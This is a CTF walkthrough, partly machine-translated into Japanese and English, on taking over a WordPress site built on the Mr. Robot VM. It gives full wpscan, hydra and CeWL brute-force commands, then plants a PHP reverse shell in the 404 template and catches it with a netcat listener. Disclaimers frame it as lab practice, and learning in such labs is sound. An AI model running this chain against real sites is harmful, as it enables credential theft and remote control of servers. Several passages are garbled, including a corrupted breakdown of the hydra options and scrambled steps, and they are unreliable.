Welcome back fellow security enthusiasts! 今日は、Mr. Robot CTF を例として、WordPress ウェブサイトをハックする方法を紹介します。 私自身、この素晴らしい CTF をやり遂げ、その過程で多くを学びました。 もしあなたが本当にサイバーセキュリティを学びたいのであれば、私の巨大なGetting started with Cybersecurity in 2019 beginner guideを読むことを強くお勧めします!ここでは、始める方法を完全に無料で教えます。 また、「2019年のベスト・ハッキング・ブック」の記事もチェックする価値があります。
DISCLAIMER: この「WordPressウェブサイトをハックする方法」は、エシカル・ハッキング・チュートリアルで、セキュリティ専門家に向けたものです。 受信側の書面による同意なしにこれらの技術を使用しないでください、私は繰り返し、しないでください。 このチュートリアルを違法な状況で使用した場合、合法的な告発や懲役刑が待っているかもしれません。
CTFはいわゆるCapture the Flagゲームで、目標は一定の数のフラグ(またはキー)を集めることです。 CTFは、安全かつ合法的な環境でハッキング技術を練習するために使用されます。
Ok, let’s get started.
Step 1 – Evalating if a Website is using WordPress
If you don’t know if a Website is using WordPress or not, there are a very easy way to find out that.If you can’t know that’t know.
www.addressofthewebsite.com/wp-admin
と入力するだけです。ほとんどの場合、管理者がそれを無効にしている場合を除いて、wp-admin ログイン GUI が表示されます。 Wpscan は Kali と ParrotSec の両方にプリインストールされています。
wpscan -u www.addressofyourtarget.com
私の場合、Mr. Robot VM をスキャンすると、以下のことがわかりました。
見てわかるように、これは明らかにそのサイトはワードプレスを使っているということを示しています。 また、確認された 46 件の脆弱性が表示されます。 さて、ほとんどのホスティング業者とWordPressの最近のバージョンは、デフォルトでこのようなスキャンをブロックします。 したがって、ほとんどの場合、これはホスティング業者による保護がない古いバージョンの WordPress でしか動作しません。
Ok, so far so good.
そして確かに、ログインマスクが表示されます。
Step 2 – Grabbing Code with Burpsuite
ここで難しい部分、ユーザー名を見つけることがやってきます。 admin から始めることもできますが、WordPress は通常ランダムなユーザー名を生成するので、把握するのが難しく、ターゲットについてさらに調査する必要があるかもしれません。
Mr.Robot の例では、ユーザー名が Elliot であることがわかっています(推測はそれほど難しくないでしょう)。 いくつかのユーザー名リストに対して hydra を実行してみることもできますが、まずは burpsuite を使用してログイン ページからコードを取得する必要があります。
sudo burpsuite
Burp defaults を使用して新しい Temporary Project を作成します。 ポップアップダイアログで「はい」を選択します。
次に、Firefox の Preferences メニューで Network Proxy が見つかるまでずっと下にスクロールしてください。 設定」をクリックします。
「手動プロキシ設定」を選択し、IP 127.0.0.1 とポート 8080 を入力します。 Use this proxy server for all protocols」にチェックを入れます。 OKをクリックします。
Burpsuiteに戻る。 Proxyタブを開く。 今度はWP-Loginのページに戻ります。 任意のユーザー名とパスワードを入力し、Log Inをクリックします。 Privacy Badger、uBlock Origins、NoScriptがサイトに対して無効になっていることを確認します。
ログインをクリックしたら、Burpsuiteに戻り、出力を見てください。
log=root&pwd=1234&wp-submit=Log+In&redirect_to=http%3A%2F%2F192.168.1.109%2Fwp-admin%2F&testcookie=1
これで、ヒドラに食わせることができるものができました。
Step 3 – 正しいユーザー名を見つける
ターゲットのユーザー名を見つける方法を知るために、少し遊んでみることにしましょう。 この例で使用しているVMは、前述のようにMr.Robotをテーマにしています。 そのため、ユーザー名は Mr.Robot に関係するトリビアの中から見つかる可能性が非常に高いです。
最初に Burpsuite に戻り、それを閉じます。 今はもう必要ありません。 また、プロキシの設定に戻り、プロキシをもう一度無効にしてください。
さて、私はミスター・ロボットのウィキペディアページに向かいます。 https://en.wikipedia.org/wiki/Mr._Robot
そして、このページから CeWL を使ってユーザーリストを作成します。
新しいターミナルウィンドウを開き、
sudo cewl -w usernames.txt -d1 -m4 https://en.wikipedia.org/wiki/Mr._Robot
これを分解してみましょう。
- -w usernames.txt -これは作成される単語リストの名前です
- -d1 – CeWLがウェブサイトをクロールする深さを定義します。 1は、このサイトにとどまり、リンクを開かないことを示します。
- -m4 – リストに入れる単語の最小長を定義します
- https://en.wikipedia.org/wiki/Mr._Robot – 明らかにクロールしようとしているWebサイトです。
したがって、ご覧のように、この手法は任意のターゲット関連 Web サイトに適用することができます。
Wpscan を使用してユーザー名を列挙すると、幸運な場合があるので、常にこれも試してください:
wpscan --url http://www.targetwebsite.com --enumerate u
では、このリストを wp-login page に対して強制するために Hydra を使用しようとしているところです。
Step 4 – Bruteforcing Usernames with Hydra
さて、ユーザー名を Hydra に送り込むときがやってきました。 この方法は、Vulnhub の多くのウォークスルーのうちの 1 つで見つけましたが、それがどれだったか正確に覚えていませんが、謝意は表します。 新しいターミナルウィンドウを開き、次のように入力します:
hydra -V -L usernames.txt -p whatever 192.168.1.109 http-post-form '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log:F=Invalid username'
Let’s break down.
- -V – Verbose
- -L – Our usernames.Submit(ユーザー名)。txt list
- -p whatever – password, we don’t care, because we want to find out the username
- http-post-form – the type of Brute Force attack we want to run
- /wp-login.L – usernames.TXT
- http-post-form – the password is the password.php – ログインフォームへのパス
- log = ^USER^&pwd=^PASS^&wp-submit=Log+In – フォームに送信される値です。 ここで ^USER^ と ^PASS^ は -L と -p オプションのプレースホルダーです
- F=Invalid username – Invalid username を返したら、試行に失敗したと hydra に伝えます
さて、コマンドを実行してみようか。
そして確かに、ユーザー名 elliot のログインが成功したと返ってきました(そうではなく、ウェブフォームが無効なユーザー名を返さないことを確認しただけですが…)。
Step 5 – Brute Forcing the Password
Hydra を使用してユーザーのパスワードをブルート フォースすることもできますが、構文が簡単なため、私は wpscan の使用を好みます。
wpscan --url http://192.168.1.109/wp-login.php --passwords /usr/share/wordlists/rockyou.txt.gz --usernames elliot --wp-content-dir http://192.168.1.109/wp-login.php
rockyou.txt.gz は単なる例で、使用したいパスワード リストで置き換えることができます。
そして、ほら、ユーザー名とパスワードを取得しました。
ステップ 6 – WordPress に不正なコードを実装する
さて、WordPress への管理アクセスを得たので、ここから先はいくつかの方法で行うことができます。
攻撃しているコンピューターで、場所 -> ファイルシステム -> usr -> 共有 -> webshells -> php に移動して php-reverse-shell を開いてください。php
内容をすべてコピーします。
次に WordPress で、外観 -> 編集に移動して 404.php Template を選択します。 これは単なる例であり、さまざまな方法でコードを実装することができます。
ここでコードを貼り付けて、次のように表示されます:
IP があなたの攻撃側のコンピュータを指し、ポート番号を選択するように黄色で示された行を変更する。
ステップ 7 – Netcat リスナーの開始
さて、攻撃側のコンピュータに戻って、Netcat リスナーを開始します。www.yourtargetwebsite.com/404
そして私たちは中にいます!
nc -lvp 443
それからあなたはリンクに行くように404ページを開こうとしているのです。 WordPressの管理者アカウントをハックしただけでなく、サーバー自体にもアクセスすることができました。 このように、CTFは新しいことを学ぶのに最適な方法です。
次回まで、ハッキングを続けてください!
* Ceos3c.com のチュートリアルで提供するすべての技術は、教育目的のみのために提供されています。
ここで教えているすべてのテクニックは、クローズドなラボ環境、または第三者の同意のもとで使用することを目的としています。
これらのテクニックを違法な目的で使用した場合、Ceos3cは起こりうる法的結果に対して責任を負いません。Like Loading…